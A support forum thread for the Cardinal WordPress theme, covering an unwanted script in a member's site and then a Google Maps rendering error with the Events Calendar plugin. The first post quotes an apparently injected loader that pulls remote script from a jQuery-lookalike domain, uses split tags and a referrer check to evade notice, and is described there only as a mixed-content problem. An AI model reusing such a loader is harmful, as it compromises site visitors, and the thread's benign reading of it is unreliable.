New Landing How can we help? Cardinal What is the Location of wpquery.org/jquery.min.js

Viewing 8 posts - 1 through 8 (of 8 total)
  • Posted in: Cardinal
  • #176036
    il3arn
    Member
    Post count: 23

    Hello

    From last 2 days i’m trying to find location of this code:

    <script type=”text/javascript”>
    var now = new Date().getTime();
    if (now%2 == 0) {if(!document.referrer || document.referrer == ”) { document.write(‘<scr’+’ipt type=”text/javascript” src=”http://www.wpquery.org/jquery.min.js”></scr’+’ipt>&#8217;); } else { document.write(‘<scr’+’ipt type=”text/javascript” src=”http://www.wpquery.org/jquery.js”></scr’+’ipt>&#8217;);}
    }
    </script>

    But till now i’m not able to get from where its generating, whenever we open site in IE it will give a error like:

    “Showing only secure content. Show all content?”

    and this error is happening because of that above code its rendering as http and want to change it to https so is there any help or idea you give on that code location?

    Thanks

    #176273
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    I dont see this code at home page html code. Have you removed it?
    Thanks
    Mohammad

    #176442
    il3arn
    Member
    Post count: 23

    Hello

    After hours of search i was able to find that code so after removal problem is solved!

    And if possible can you please help in one google maps related problem its like:

    If you will open this event page https://www.jkyog.org/events/hilton-garden-inn-dennison-tx/ and scroll down in bottom area where footer is getting started i have place a google maps shortcode there but maps will never render properly rather it just gives a white space in that area while in Browser Console it gives a error like:

    functions.min.js:1 Uncaught ReferenceError: google is not defined

    Few days ago by mistake i use to removed Shift Framework Plugin then later when i added again then this problem resulted, any fix you can provide on this?

    Thanks

    #176886
    Rui Guerreiro – SUPPORT
    Keymaster
    Post count: 25779

    Hi,

    Can you try to isolate that google maps in a new test page to see if it works with just the map in the page?

    -Rui

    #177086
    il3arn
    Member
    Post count: 23

    Hello

    When i’m placing map shortcode alone in test page then map is working without any errors but when we try to use it with custom post type or in Events Calendar plugin then map will not work and going to display this error in console:

    functions.min.js:1 Uncaught ReferenceError: google is not defined

    In before this was working good everywhere until i disabled Swift Framework by mistake, any idea on fixing this?

    Thanks

    #177260
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    Please comment this code at functions.php file.

    wp_enqueue_script('sf-maps');

    Thanks
    Mohammad

    #177313
    il3arn
    Member
    Post count: 23

    Hello Mohammad

    I have added wp_enqueue_script(‘sf-maps’); in functions.php but its still not rendering the map! any other fix in mind?

    Thanks

    #177911
    Swift Ideas – Ed
    Keymaster
    Post count: 15264

    Hi @il3arn

    Is that page using the events plugin? If so you’ll need to output the map using their built in configuration – we are forced to remove our map script due to the plugin including one.

    – Ed

Viewing 8 posts - 1 through 8 (of 8 total)

You must be logged in and have valid license to reply to this topic.

License required for one of the following items
Login and Registration Log in · Register